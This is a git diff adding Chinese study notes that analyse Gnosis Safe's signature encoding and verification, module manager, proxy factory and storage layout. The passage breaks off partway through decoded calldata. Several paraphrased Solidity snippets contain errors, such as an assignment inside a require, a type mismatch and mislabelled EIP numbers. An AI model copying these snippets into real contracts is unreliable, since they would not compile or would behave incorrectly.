+对于version type = 0x45, 在<data to sign>中，将`\x19Ethereum Signed Message:\n+len(message)`添加到了<data to sign>的前面，然后在进行哈希，签名。
+
+在Gnosis中，我们主要关注version type = 0x01, 即EIP-712的实现：
+
+如业务逻辑分析中指出：Gnosis定义了两个结构体，分别是EIP712Domain和SafeTx。一个作为DomainSeperator存入<version specific data>中，一个作为payload存入<data to sign>数据中。
+
+```js
+// const alice = await new ethers.Wallet("0x4646464646464646464646464646464646464646464646464646464646464646");
+// alice.address = 0x9d8A62f656a8d1615C1294fd71e9CFb3E4855A4F
+let EIP712Domain = {
+	chainId: "1",
+    verifyingContract: '0x9d8A62f656a8d1615C1294fd71e9CFb3E4855A4F', //alice
+}
+let SafeTx_types = {
+    SafeTx : [
+        {name: 'to', type:'address'},
+        {name: 'value', type: 'uint256'},
+        {name: 'data', type: 'bytes'},
+        {name: 'operation', type: 'uint8'},
+        {name: 'SafeTxGas', type: 'uint256'},
+        {name: 'baseGas', type: 'uint256'},
+        {name: 'gasPrice', type: 'uint256'},
+        {name: 'gasToken', type: 'address'},
+        {name: 'refundReceiver', type: 'address'},
+        {name: 'nonce', type: 'uint256'}
+    ]
+}
+let SafeTx_values = {
+    "to": '0x0000000000000000000000000000000000000000',
+    "value": "1",
+    "data": "0xdeadbeaf",
+    "operation": "0",
+    "SafeTxGas": ethers.utils.hexlify(ethers.BigNumber.from("20000000000")), //0x04a817c800
+    "baseGas": ethers.utils.hexlify(ethers.BigNumber.from("20000000000")), //0x04a817c800
+    "gasPrice": '0',
+    "gasToken": '0x0000000000000000000000000000000000000000',
+    "refundReceiver": "0x0000000000000000000000000000000000000000",
+    "nonce": "1",
+}
+哈希域名：
+keccak256(abi.encode(keccak256("EIP712Domain(uint256 chainId,address verifyingContract)"),uint256(1),uint256(uint160(address(0x9d8A62f656a8d1615C1294fd71e9CFb3E4855A4F)))))
+=>
+0x47e79534a245952e8b16893a336b85a3d9ea9fa8c573f3d803afb92a79469218
+  0000000000000000000000000000000000000000000000000000000000000001
+  0000000000000000000000009d8A62f656a8d1615C1294fd71e9CFb3E4855A4F
+
+0x98f25862027c897aa0e497eac4a47094fd7b52be9b1bea9bb803916aec0409a2
+
+ethers.utils._TypedDataEncoder.hashDomain(EIP712Domain)
+=>
+0x98f25862027c897aa0e497eac4a47094fd7b52be9b1bea9bb803916aec0409a2
+数值哈希：
+keccak256(abi.encode(
+	keccak256("SafeTx(address to,uint256 value,bytes data,uint8 operation,uint256 safeTxGas,uint256 baseGas,uint256 gasPrice,address gasToken,address refundReceiver,uint256 nonce)"),
+    uint256(uint160(address(0x0000000000000000000000000000000000000000))),
+    uint256(1),
+    keccak256(bytes(0xdeadbeaf)),
+    uint256(uint8(0)),
+    uint256(0x04a817c800),
+    uint256(0x04a817c800),
+    uint256(0),
+    uint256(uint160(address(0x0000000000000000000000000000000000000000))),
+    uint256(uint160(address(0x0000000000000000000000000000000000000000))),
+    uint256(1)
+))
+=>
+0xbb8310d486368db6bd6f849402fdd73ad53d316b5a4b2644ad6efe0f941286d8
+0000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000001
+b2245a4923cdc7f56016b95b14f0fc5f5b3cd64ee68e68c3da3d8f4a67da3752
+0000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000004a817c800
+00000000000000000000000000000000000000000000000000000004a817c800
+0000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000001
+=>
+aad21e462218b5aa0cbcf79b0a35aedb0cb5284c70521a35065681c3641cd2c0
+整体编码：
+ethers.utils._TypedDataEncoder.encode(EIP712Domain,SafeTx_types,SafeTx_values) 
+=>
+abi.encodePacked(bytes1(0x19),bytes1(0x01),)
+0x19 //EIP-191定义的首字符为0x19
+  01 //EIP-191定义的version type 01
+  98f25862027c897aa0e497eac4a47094fd7b52be9b1bea9bb803916aec0409a2 //EIP-191定义的<version specific data> => hashDomain
+  aad21e462218b5aa0cbcf79b0a35aedb0cb5284c70521a35065681c3641cd2c0 //EIP-191定义的<data to sign> 数据的哈希值
+```
+
+上面通过EIP-721的编码后，需要进行哈希，然后在进行签名得到r,s,v
+
+```js
+ethers.utils._TypedDataEncoder.hash(EIP712Domain,SafeTx_types,SafeTx_values)
+=>
+0x0fda8d4f1c154fd9bb5139f4d0dd1eb327fd952ce7fe600be00bbf7486b91d6a
+```
+
+利用alice账户对哈希值进行签名，这样就得到了alice用户对于message的一个签名：
+
+```
+const alice = await new ethers.Wallet('0x4646464646464646464646464646464646464646464646464646464646464646')
+await alice.signMessage(ethers.utils.arrayify("0x0fda8d4f1c154fd9bb5139f4d0dd1eb327fd952ce7fe600be00bbf7486b91d6a"))
+=>
+0xb2ea252c31e822cedad8bdd1656c713b96f61345459ca47e14925f0f6e345ac4 //r
+  070c60d290a0acac4ebd44550b71dd032a99608dc770bd4a7295c235c5178aca //s
+  1c														  //v
+```
+
+当有多个EOA账户对该message进行签名时，会将多个交易的签名信息，即r,s,v值按照第一种签名编码方式进行编码，{bytes32 r}{bytes32 v}{uint8 v}，最后得到一个bytes类型的数据Signature.
+
+#### 链上验证过程
+
+前面对链下的签名过程进行了分析，其实质是综合了EIP-191,EIP-155,EIP-712等签名规范。这个章节部分，我们将对Gnosis的链上验证过程进行讨论。
+GnosisSafe的链上验证函数主要是：`checkNSignatures`, 其函数签名如下：
+
+```js
+function checkNSignatures(bytes32 dataHash,bytes memory data, bytes memory signatures, uint256 requiredSignatures) 
+	public view{}
+```
+
+函数里的主要逻辑是执行一个for循环，在每一个循环内部从sigatures里拿到对应的`r,s,v`值，然后根据它自定义的编码规则中的v值，依次判断签名的有效性。
+
+第一步：拿到sigantures中对应的r,s,v值
+
+由于其编码{bytes32 r}{bytes32 v}{bytes1 v}的编码方式，每一个owner的签名都占据65个bytes。
+
+```assembly
+首先拿到owner[i]对应的offset值：
+注意bytes memory signatures 指向的是sigantures的数据长度，真正的数据存放位置为: add(signatures,0x20)
+这里忽略了EIP-1127的情况，需要在签名情况验证中去处理
+uint i; bytes32 r; bytes32 s; uint8 v;
+assembly{
+	let base_offset := add(signatures, 0x20)
+	let owner_i_offset :=  add(base_offset, mul(i, 0x41))
+	r := mload(owner_i_offset)
+	s := mload(add(owner_i_offset, 0x20))
+	v := byte(0, mload(add(owner_i_offset, 0x40)))
+}
+return r,s,v;
+```
+
+第二步：EOA签名情况验证
+
+```js
+if (v < 30 && v > 25) {
+	address currentOwner = ecrecover(dataHash, v,r,s);
+	require(currentOwner == address(alice));
+}
+```
+
+第三步：EOA签名带personal_sign方法情况验证
+
+```js
+if (v > 30) {
+	v = v -4;
+	bytes memory newDataHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", dataHash));
+	address currentOwner = ecrecover(newDataHash,v,r,s);
+	require(currentOwner == address(alice));
+}
+```
+
+第四步：线上签名情况验证
+
+```js
+if (v == 1) {
+	address currentOwner = address(uint160(uint256(r)));
+	require(approvedHashes[currentOwner][dataHash] != 0 || msg.sender == currentOwner);
+}
+```
+
+第五步：合约签名情况验证
+
+```js
+bytes memory contractSignature;
+if (v == 0) {
+	address currentOwner = address(uint160(uint256(r)));
+	assembly{
+         let signatures_base := add(sigatures,0x20)
+		let sig_len := mload(add(signatures_base, s))
+		contractSignature := add(signatures_base, s) //并未跳过长度部分，仍然遵循Solidity规范
+	}
+	require(IEIP1271SignatureValidator(currentOwner).isValidSignature(data,contractSignature) == EIP1271_MAGIC_VALUE);
+}
+```
\ No newline at end of file
diff --git a/dao/Gnosis/Gnosis Safe Analysis02.md b/dao/Gnosis/Gnosis Safe Analysis02.md
new file mode 100644
index 000000000..2163d6753
--- /dev/null
+++ b/dao/Gnosis/Gnosis Safe Analysis02.md	
@@ -0,0 +1,465 @@
+# GnosisSafe - 合约结构分析
+
+上篇文章简单分析`Gnosis` Safe中的部分业务逻辑，主要是链下签名与链上验证的逻辑，关于方法执行，Gas费用扣减等并未涉及到。因为主要是目前也暂时用不到那一块。这一篇文章主要是分析下`GnosisSafe`的合约结构。代码以最新release的v1.3.0为准，地址为https://rinkeby.etherscan.io/address/0xd9Db270c1B5E3Bd161E8c8503c55cEABeE709552#code
+
+`GnosisSafe`是一个多签钱包，在项目中一大优点就是它的合约架构设计，实现可插拔，可配置的功能。
+![image20210828143026536.png](https://img.learnblockchain.cn/attachments/2021/09/RsixiyJY614757ae3c66f.png)
+
+## 可插拔模块设计
+
+可插拔模块，即每个模块都可以为合约增加新的功能。在这种模式中，主合约提供了一套核心的不可变的功能，并允许新的模块被注册。这些模块增加了新的功能，可以调用核心合约。这种模式在钱包中最常见，如`GnosisSafe`或`InstaDapp`。用户可以选择在自己的钱包中添加新的模块，然后每次调用钱包合约都要求执行特定模块的特定功能。
+
+请记住，这种模式要求核心合约是没有错误的。任何关于模块管理本身的错误都不能通过在这种方案中添加新模块来修补。另外，根据实施情况，新模块可能有权通过使用DELEGATECALLs代表核心合约运行任何代码，所以也应该仔细审查。
+
+`ModuleManager`合约里比较有意思的一点是它使用了一个`map(address=>address)`形成的链表将所有的Modules串起来，并设置了一个哨兵模块`address(1)`作为链表头部。
+
+在网站上添加Module的步骤可以参考如下链接：https://help.gnosis-safe.io/en/articles/4934427-add-a-module
+
+### 模块管理合约-`ModuleManager`
+
+从合约代码中，我们可以看到`ModuleManager`主要提供了如下几种功能：
+
+```js
+哨兵：
+address internal constant SENTINEL_MODULES = address(0x01);
+```
+
+`setupModules` -通过`delegateCall`的方式初始化模块
+
+```js
+function setupModules(address to, bytes memory data) internal {
+	//确认哨兵在链表尾部，即该链表为空链表
+    require(modules[SENTINEL_MODULES] == address(0));
+    //把哨兵指向自己
+    modules[SENTINEL_MODULES] = SENTINEL_MODULES;
+    //对to地址的模块进行初始化
+    bool success;
+    assembly {
+        success := delegatecall(gas(),to,add(data,0x20),mload(data),0,0)
+    }
+    require(success);
+}
+```
+
+`enableModule` - 使能该模块, 实际上是添加该模块到链表里
+
+```js
+//sentinel -> A <-> A
+function enableModule(address module) public authorized {
+    //要求该module不能重复添加。如果该module在链表尾部，则该module应该指向自己
+    require(modules[module] == address(0));
+    //将该module-> A <-> A
+    modules[module] = modules[SENTINEL_MODULES];
+    //将哨兵重新指向module：sentinel -> module -> A <-> A
+    modules[SENTINEL_MODULES] = module;
+}
+```
+
+`disableModule` - 废弃该模块, 将该module移除链表
+
+```js
+//sentinel -> prevModule -> module -> B <-> B
+function disableModule(address prevModule, address module) public authorized {
+    //要求要废除的module和该module前的preModule都在链表中,且prevModule->module
+    require(modules[module] != address(0) && modules[prevModule] != address[0] && modules[prevModule] = module);
+    //sentinel -> prevModule -> B <-> B
+    modules[prevModule] = modules[module];
+    //module -> address(0)
+    modules[module] = address(0);
+}
+```
+
+`getModulesPaginated` - 拿到所有的模块列表
+
+```js
+function getModulesPaginated(address start, uint256 pageSize) external view returns (address[] memory array, address next) {
+    array = new address[](pageSize);
+    //遍历链表，不包括哨兵
+    address currentModule = modules[SENTINEL_MODULES];
+    uint moduleCount = 0;
+    while (currentModule != address(0) && currentModule != SENTINEL_MODULES && moduleCount < pageSize) {
+        array[moduleCount] = currentModule;
+        moduleCount += 1;
+        currentModule = modules[currentModule];      
+    }
+    next = currentModule;
+    //设置正确的array大小
+    assembly{
+        mstore(array, moduleCount)
+    }
+}
+```
+
+`execTransactionFromModuleReturnData `- 通过模块执行方法
+
+```js
+function execTransactionFromModuleReturnData(
+        address to,
+        uint256 value,
+        bytes memory data,
+        Enum.Operation operation
+    ) public returns (bool success, bytes memory returnData) {
+    //这里不能直接把数据写到reutrnData这一个内存数组里面，还是要从freepointer处开始
+	if (operation == Enum.Operation.Call) {
+        assembly{
+            success := call(gas(),to,value,add(data,0x20),mload(data),0,0)
+            let free_ptr := mload(0x40)
+            let returndatasize_ := returndatasize()
+            //更新0x40的值
+            mstore(0x40, add(free_ptr,add(0x20,returndatasize_)))
+            mstore(free_ptr, returndatasize_)
+            
+            returndatacopy(add(free_ptr,0x20),0,returndatasize_)
+            returnData = free_ptr
+        }
+    } else if (operation == Enum.Operation.DelegateCall) {
+        assembly{
+            success := delegatecall(gas(),to,add(data,0x20),mload(data),0,0)
+            let free_ptr := mload(0x40)
+            let returndatasize_ := returndatasize()
+            //更新0x40的值
+            mstore(0x40, add(free_ptr,add(0x20,returndatasize_)))
+            mstore(free_ptr, returndatasize_)   
+            returndatacopy(add(free_ptr,0x20),0,returndatasize_)
+            returnData = free_ptr
+        }
+    }
+}
+```
+
+### 思考1：多签钱包的主合约应该如何调用模块方法？
+
+我们注意到主合约：`GnosisSafe`直接继承了`ModuleManager`，而`ModuleManager`中列出的方法都是`public/external`，说明用户可以直接访问模块中的方法，不需要多签？
+
+### 思考2：模块方法中是否要进行权限认证？只允许多签钱包的主合约直接调用
+
+即是否需要在模块合约中，都保存主合约的地址，并在公开的方法中，添加一个modifier：
+
+```assembly
+modifier GnosisSafeOnly() {
+	//proxy ->delegatecall-> GnosisSafe ->call-> module => msg.sender == address(proxy)
+	//proxy ->delegatecall-> GnosisSafe ->delegatecall-> module => msg.sender == address(proxy) // 对吗？
+	require( 
+		msg.sender == address(GnosisSafeProxy)
+        );
+	_;
+}
+```
+
+```js
+modifier authorized() {
+    require(msg.sender == address(manager), "Method can only be called from manager");
+    _;
+}
+```
+
+### 思考3：代理合约通过`delegatecall`来访问主合约，而调用主合约中的执行模块方法时，可以选择用call来执行传入的to地址上的方法，那么`delegatecall`的上下文环境里，再使用call，最后它的状态变化发生在哪里？是代理合约里呢还是call中的to地址上？
+
+问题实质是`msg.sender`分别是谁：
+
+```assembly
+//proxy ->delegatecall-> GnosisSafe ->call-> module => msg.sender == address(proxy)
+//proxy ->delegatecall-> GnosisSafe ->delegatecall-> module => msg.sender == address(proxy) // 对吗？
+```
+
+## 工厂代理合约
+
+工厂合约地址：
+
+https://rinkeby.etherscan.io/address/0xa6b71e26c5e0845f74c812102ca7114b6a896ab2#code
+
+部署后得到的代理合约地址：
+
+https://rinkeby.etherscan.io/address/0xee52992d1ccc6338f1b83880da210a0b9fe7463f#code
+
+创建代理合约的交易哈希
+
+https://rinkeby.etherscan.io/tx/0x37b0091794de7862e5d0b9d470a4c454c74f8954e964280d7d2ad0d71dd45f71
+![image20210829101545856.png](https://img.learnblockchain.cn/attachments/2021/09/HWkd99YN61475789d9d65.png)
+
+分析工厂代理合约前的创建交易，可以从交易侧了解到合约的一个创建过程。
+
+```assembly
+Function: createProxyWithNonce(address _singleton, bytes initializer, uint256 saltNonce)
+
+MethodID: 0x1688f0b9
+[0]:  000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552  //_singleton
+[20]:  0000000000000000000000000000000000000000000000000000000000000060 //offset 初始化数据
+[40]:  0000000000000000000000000000000000000000000000000000017b8b872419 //saltNonce
+[60]:  00000000000000000000000000000000000000000000000000000000000001a4 //length 
+[80]:  b63e800d 
+//keccak256("setup(address[],uint256,address,bytes,address,address,uint256,address)") 0xb63e800d
+	   0000000000000000000000000000000000000000000000000000000000000100  //_owners offset
+[20]:  0000000000000000000000000000000000000000000000000000000000000002  //_threshold=2
+[40]:  0000000000000000000000000000000000000000000000000000000000000000  //to = address(0)
+[60]:  0000000000000000000000000000000000000000000000000000000000000180  //data offset
+[80]: 000000000000000000000000f48f2b2d2a534e402487b3ee7c18c33aec0fe5e4  //fallbackHandler
+[a0]: 0000000000000000000000000000000000000000000000000000000000000000  //paymentToken
+[100]: 0000000000000000000000000000000000000000000000000000000000000000  //payment
+[120]: 0000000000000000000000000000000000000000000000000000000000000000  //paymentReceiver
+[140]: 0000000000000000000000000000000000000000000000000000000000000003  //owners len
+[160]: 000000000000000000000000efe36830aad8a001eed8f79b544d798f4b49c2e5  //owner_1
+[180]: 000000000000000000000000664254cec2c0a498151d80ff8637b568b7a7dacc  //owner_2
+[1a0]: 000000000000000000000000f9980317b1dc17a0f9d96a003a2b6369e61659f9  //owner_3
+[1c0]: 0000000000000000000000000000000000000000000000000000000000000000  //len data
+[1e0]: 00000000000000000000000000000000000000000000000000000000
+
+//keccak256("setup(address[],uint256,address,bytes,address,address,uint256,address)") 0xb63e800d
+```
+
+```js
+function createProxyWithNonce(address _singleton,bytes memory initializer,uint256 saltNonce) {
+	//使用create2创建一个代理合约
+    bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
+    //GnosisSafe.contructor(address _singleton) 编码时初始化时，需要将初始化的参数编码到creationCode后面
+    bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
+    address proxy;
+    assembly{
+        proxy := create2(0,add(deploymentData,0x20),mload(deploymentData),salt)
+    }
+     //使用call调用setup进行初始化, call成功会返回1，call失败会返回0
+    assembly{
+        let success := call(gas(),proxy,0,add(initializer,0x20),mload(initializer),0,0)
+        if (eq(success,0x0)) {
+            let ptr := mload(0x40)
+            returndatacopy(ptr,0,returndatasize())
+            revert(ptr,returndatasize())
+        }
+    }
+}
+```
+
+简单来讲，`GnosisSafeProxyFactory`合约作为一个工厂合约，为每一个多签钱包创建一个`GnosisSafeProxy`的代理合约，所有的数据都储存在代理合约上。然后代理合约`GnosisSafeProxy`将所有的函数调用都通过`delegatecall`的方式远程调用`GnosisSafe`合约。
+
+### 注意点1： 代理合约的构造函数有参数，工厂合约如何创建
+
+在代理合约`GnosisSafeProxy`里面，其构造函数如下：
+
+```js
+constructor(address _singleton) {
+    require(_singleton != address(0), "Invalid singleton address provided");
+    singleton = _singleton;
+}
+```
+
+可以看到在构造函数里有一个参数`address _singleton`，作为工厂合约，最简单的生产一个Proxy的方法如下：
+
+```js
+function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
+	proxy = new GnosisSafeProxy(singleton);
+    //初始化
+	(bool success, bytes memory res) = address(proxy).call(data);
+	require(success, "GnosisSafeProxyFactory/createProxy init fail");
+}
+```
+
+在上面的创建Proxy合约的过程中，其实质是调用了create这一opcode。又因为create这一个opcode的创建合约的地址仅与Factory合约的地址和nonce有关，故导致钱包地址可被人手动推算出来。导致任何通过Factory合约这一方法创建钱包的人的钱包地址都可以被推断，出现安全隐患。
+
+<!-- $$
+\begin{eqnarray}
+a & \equiv & A(s, \boldsymbol{\sigma}[s]_{\mathrm{n}} - 1, \zeta, \mathbf{i}) \\
+\label{eq:new-address} A(s, n, \zeta, \mathbf{i}) & \equiv & \mathcal{B}_{96..255}\Big(\mathtt{KEC}\big(B(s, n, \zeta, \mathbf{i})\big)\Big) \\
+B(s, n, \zeta, \mathbf{i}) & \equiv & \begin{cases}
+\mathtt{RLP}\big(\;(s, n)\;\big) & \text{if}\ \zeta = \varnothing \\
+(255) \cdot s \cdot \zeta \cdot \mathtt{KEC}(\mathbf{i}) & \text{otherwise}
+\end{cases}
+\end{eqnarray}
+$$ -->
+
+<math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><mtable displaystyle="true" columnalign="right center left" columnspacing="0 thickmathspace" rowspacing="3pt"><mtr><mtd><mi>a</mi></mtd><mtd><mi></mi><mo>≡</mo></mtd><mtd><mi>A</mi><mo stretchy="false">(</mo><mi>s</mi><mo>,</mo><mi mathvariant="bold-italic">σ</mi><mo stretchy="false">[</mo><mi>s</mi><msub><mo stretchy="false">]</mo><mrow><mrow><mi mathvariant="normal">n</mi></mrow></mrow></msub><mo>−</mo><mn>1</mn><mo>,</mo><mi>ζ</mi><mo>,</mo><mrow><mi mathvariant="bold">i</mi></mrow><mo stretchy="false">)</mo></mtd></mtr><mtr><mtd><mi>A</mi><mo stretchy="false">(</mo><mi>s</mi><mo>,</mo><mi>n</mi><mo>,</mo><mi>ζ</mi><mo>,</mo><mrow><mi mathvariant="bold">i</mi></mrow><mo stretchy="false">)</mo></mtd><mtd><mi></mi><mo>≡</mo></mtd><mtd><msub><mrow><mi data-mjx-variant="-tex-calligraphic" mathvariant="script">B</mi></mrow><mrow><mn>96.</mn><mn>.255</mn></mrow></msub><mrow data-mjx-texclass="ORD"><mo minsize="1.623em" maxsize="1.623em">(</mo></mrow><mrow><mi mathvariant="monospace">K</mi><mi mathvariant="monospace">E</mi><mi mathvariant="monospace">C</mi></mrow><mrow data-mjx-texclass="ORD"><mo minsize="1.2em" maxsize="1.2em">(</mo></mrow><mi>B</mi><mo stretchy="false">(</mo><mi>s</mi><mo>,</mo><mi>n</mi><mo>,</mo><mi>ζ</mi><mo>,</mo><mrow><mi mathvariant="bold">i</mi></mrow><mo stretchy="false">)</mo><mrow data-mjx-texclass="ORD"><mo minsize="1.2em" maxsize="1.2em">)</mo></mrow><mrow data-mjx-texclass="ORD"><mo minsize="1.623em" maxsize="1.623em">)</mo></mrow></mtd></mtr><mtr><mtd><mi>B</mi><mo stretchy="false">(</mo><mi>s</mi><mo>,</mo><mi>n</mi><mo>,</mo><mi>ζ</mi><mo>,</mo><mrow><mi mathvariant="bold">i</mi></mrow><mo stretchy="false">)</mo></mtd><mtd><mi></mi><mo>≡</mo></mtd><mtd><mrow data-mjx-texclass="INNER"><mo data-mjx-texclass="OPEN">{</mo><mtable columnalign="left left" columnspacing="1em" rowspacing=".2em"><mtr><mtd><mrow><mi mathvariant="monospace">R</mi><mi mathvariant="monospace">L</mi><mi mathvariant="monospace">P</mi></mrow><mrow data-mjx-texclass="ORD"><mo minsize="1.2em" maxsize="1.2em">(</mo></mrow><mstyle scriptlevel="0"><mspace width="thickmathspace"></mspace></mstyle><mo stretchy="false">(</mo><mi>s</mi><mo>,</mo><mi>n</mi><mo stretchy="false">)</mo><mstyle scriptlevel="0"><mspace width="thickmathspace"></mspace></mstyle><mrow data-mjx-texclass="ORD"><mo minsize="1.2em" maxsize="1.2em">)</mo></mrow></mtd><mtd><mtext>if</mtext><mtext>&nbsp;</mtext><mi>ζ</mi></mtd><mtd></mtd><mtd><mo>=</mo></mtd><mtd></mtd><mtd><mi data-mjx-alternate="1">∅</mi></mtd></mtr><mtr><mtd><mo stretchy="false">(</mo><mn>255</mn><mo stretchy="false">)</mo><mo>⋅</mo><mi>s</mi><mo>⋅</mo><mi>ζ</mi><mo>⋅</mo><mrow><mi mathvariant="monospace">K</mi><mi mathvariant="monospace">E</mi><mi mathvariant="monospace">C</mi></mrow><mo stretchy="false">(</mo><mrow><mi mathvariant="bold">i</mi></mrow><mo stretchy="false">)</mo></mtd><mtd><mtext>otherwise</mtext></mtd></mtr></mtable><mo data-mjx-texclass="CLOSE" fence="true" stretchy="true" symmetric="true"></mo></mrow></mtd></mtr></mtable></math>
+
+地址的推算方法如下：
+
+```js
+//首先拿到工厂合约的地址：
+address factory = 0xa6b71e26c5e0845f74c812102ca7114b6a896ab2;
+假设nonce = 1, 则RLP((s,n))为：
+ethers.utils.RLP.encode(["0xa6b71e26c5e0845f74c812102ca7114b6a896ab2","0x01"])
+=>
+RLP((factory,nonce)) = 0xd694a6b71e26c5e0845f74c812102ca7114b6a896ab201
+
+Keccak256(RLP((factory,nonce))) =  0x4c2134364fb2823682748fe543e77ba9f5e59cefb97d55cf58641ebb7beb22c4
+address = 0x43e77ba9f5e59cefb97d55cf58641ebb7beb22c4
+```
+
+使用create2这一OPCODE就没有这个问题，但使用create2时，需要理解构造函数中的参数应该怎么传入进去：
+
+> Arguments for the constructor of a contract are directly appended at the end of the contract’s code, also in ABI encoding. The constructor will access them through a hard-coded offset, and not by using the codesize opcode, since this of course changes when appending data to the code.
+
+即将`contructor`里的参数直接以ABI编码后贴在`contract.creationCode`里。
+
+```js
+bytes memory data = abi.encode(type(GnosisSafeProxy).creationCode, uint256(uint160(singleton)))
+```
+
+### 注意点2：代理合约与实现合约的Storage插槽排布是否一致
+
+由于代理合约`GnosisSafeProxy`与实现合约`GnosisSafe`是通过`delegatecall`来调用，故需要仔细检查两边的插槽排布，需让其保持一致。
+
+首先是`GnosisSafeProxy`代理合约：
+
+```assembly
+slot_00 => singleton
+```
+
+然后是`GnosisSafe`实现合约
+
+```assembly
+contract GnosisSafe is
+    EtherPaymentFallback,
+    Singleton,
+    ModuleManager,
+    OwnerManager,
+    SignatureDecoder,
+    SecuredTokenTransfer,
+    ISignatureValidatorConstants,
+    FallbackManager,
+    StorageAccessible,
+    GuardManager
+EtherPaymentFallback => 无全局变量
+Singleton =>有全局变量 slot_00 => singleton
+ModuleManager is SelfAuthorized, Executor
+SelfAuthorized => 无全局变量
+Executor => 无全局变量
+ModuleManager => 有全局变量 mapping(address => address) internal modules
+OwnerManager is SelfAuthorized
+SelfAuthorized => 无全局变量
+OwnerManager => 有全局变量 mapping(address => address) internal owners;
+						uint256 internal ownerCount;
+                          uint256 internal threshold;
+SignatureDecoder => 无全局变量
+SecuredTokenTransfer => 无全局变量
+ISignatureValidatorConstants => 无全局变量
+FallbackManager is SelfAuthorized
+SelfAuthorized => 无全局变量
+FallbackManager => 有全局变量 keccak256("fallback_manager.handler.address") => fallback_handler
+StorageAccessible => 无全局变量
+GuardManager is SelfAuthorized
+SelfAuthorized => 无全局变量
+GuardManager => 有全局变量 keccak256("guard_manager.guard.address") => set_guard
+GnosisSafe => 有全局变量 uint256 public nonce;
+                        bytes32 private _deprecatedDomainSeparator;
+                        mapping(bytes32 => uint256) public signedMessages;
+                        mapping(address => mapping(bytes32 => uint256)) public approvedHashes;
+```
+
+将上面的`GnosisSafe`实现合约的插槽整理如下：
+
+```assembly
+slot_00 => singleton
+slot_01 => mapping(address => address) internal modules
+slot_02 => mapping(address => address) internal owners;
+slot_03 => uint256 internal ownerCount;
+slot_04 => uint256 internal threshold;
+slot_05 => uint256 public nonce;
+slot_06 => bytes32 private _deprecatedDomainSeparator;
+slot_07 => mapping(bytes32 => uint256) public signedMessages;
+slot_08 => mapping(address => mapping(bytes32 => uint256)) public approvedHashes;
+keccak256("fallback_manager.handler.address") => fallback_handler
+keccak256("guard_manager.guard.address") => set_guard
+```
+
+可以看到代理合约`Proxy`和实现合约`GnosisSafe`的插槽并不完全一致，但是在代理合约Proxy的插槽排布中，slot_00位置处的值都是`singleton`，并未出现碰撞。可能是Gnosis想让`proxy`合约尽可能小，所以这样设计。
+
+### 注意点3：与compound的`Unitroller`部分对比
+
+`Compound`中的`Unitroller`是一个可升级合约架构，即其对应的实现`comptrollerImplementation`合约地址可以通过`Unitorller`中的方法去更改，从而实现合约升级。而`GnosisSafeProxy`并不是一个可升级合约架构，它对应的实现`singleton`是在初始化时就写死的，没有办法去更改实现。
+
+作为一个代理合约，其实现地址通常需要在创建时就传入进去，然后再调用init方法来进行初始化。
+
+## 代理合约结构
+
+后续更新，因为重新看了下Gnonsis Safe的代码。
+
+proxy代码逻辑中并没有可升级的操作，所有的升级操作再impl代码中的masterCopy合约中，类似于UUPS的升级方式。
+
+```js
+masterCopy.sol:
+function changeMasterCopy(address _masterCopy)
+        public
+        authorized
+{
+    // Master copy address cannot be null.
+    require(_masterCopy != address(0), "Invalid master copy address provided");
+    masterCopy = _masterCopy;
+    emit ChangedMasterCopy(_masterCopy);
+}
+```
+
+这里与UUPS不一样的地方是，它提供一个authorized的modifier，这个modifier特别有意思，它要求msg.sender==address(this), 这特别像inernal的感觉。 这与openzeppelin再UUPS中实现的onlyProxy并不是一个思路。
+
+```js
+modifier authorized() {
+    require(msg.sender == address(this), "Method can only be called from this contract");
+    _;
+}
+```
+
+对比Openzeppelin的UUPS中onlyProxy实现：
+
+```js
+address private __self = address(this);
+
+modifier onlyProxy() {
+    require(address(this) != __self, "Function must be called through delegatecall");
+    require(_getImplementation() == __self, "Function must be called through active proxy");
+    _;
+}
+```
+
+Openzeppelin是利用proxy ->delegatecall -> impl时，其address(this)应该等于address(proxy), 而部署impl时的_self应该等于address(impl), 两者并不相等。然后再检查对应的代理合约的实现合约是不是impl。
+
+Gnosis中的authorized方式是检查msg.sender==address(this)，是FactoryProxy->call->proxy->delegatecall->impl,
+
+```js
+function createProxyWithNonce(address _mastercopy, bytes memory initializer, uint256 saltNonce)
+        public
+        returns (Proxy proxy)
+{
+    proxy = deployProxyWithNonce(_mastercopy, initializer, saltNonce);
+    if (initializer.length > 0)
+        // solium-disable-next-line security/no-inline-assembly
+        assembly {
+            if eq(call(gas, proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0,0) }
+        }
+    emit ProxyCreation(proxy);
+}
+function deployProxyWithNonce(address _mastercopy, bytes memory initializer, uint256 saltNonce)
+        internal
+        returns (Proxy proxy)
+    {
+    // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
+    bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
+    bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint256(_mastercopy));
+    // solium-disable-next-line security/no-inline-assembly
+    assembly {
+        proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
+    }
+    require(address(proxy) != address(0), "Create2 call failed");
+}
+```
+
+```js
+Function: createProxyWithNonce(address _mastercopy, bytes initializer, uint256 saltNonce)
+
+MethodID: 0x1688f0b9
+[0]:  00000000000000000000000034cfac646f301356faa8b21e94227e3583fe3f5f //mastercopy
+[1]:  0000000000000000000000000000000000000000000000000000000000000060 //init
+[2]:  000000000000000000000000000000000000000000000000000001798f2d474d //saltnonce
+[3]:  00000000000000000000000000000000000000000000000000000000000001a4 //len
+[4]:  b63e800d
+0000000000000000000000000000000000000000000000000000000000000100 //_owners
+0000000000000000000000000000000000000000000000000000000000000002 //_threshold
+0000000000000000000000000000000000000000000000000000000000000000 //to
+0000000000000000000000000000000000000000000000000000000000000180 //data
+000000000000000000000000d5d82b6addc9027b22dca772aa68d5d74cdbdf44 //fallbackHandler
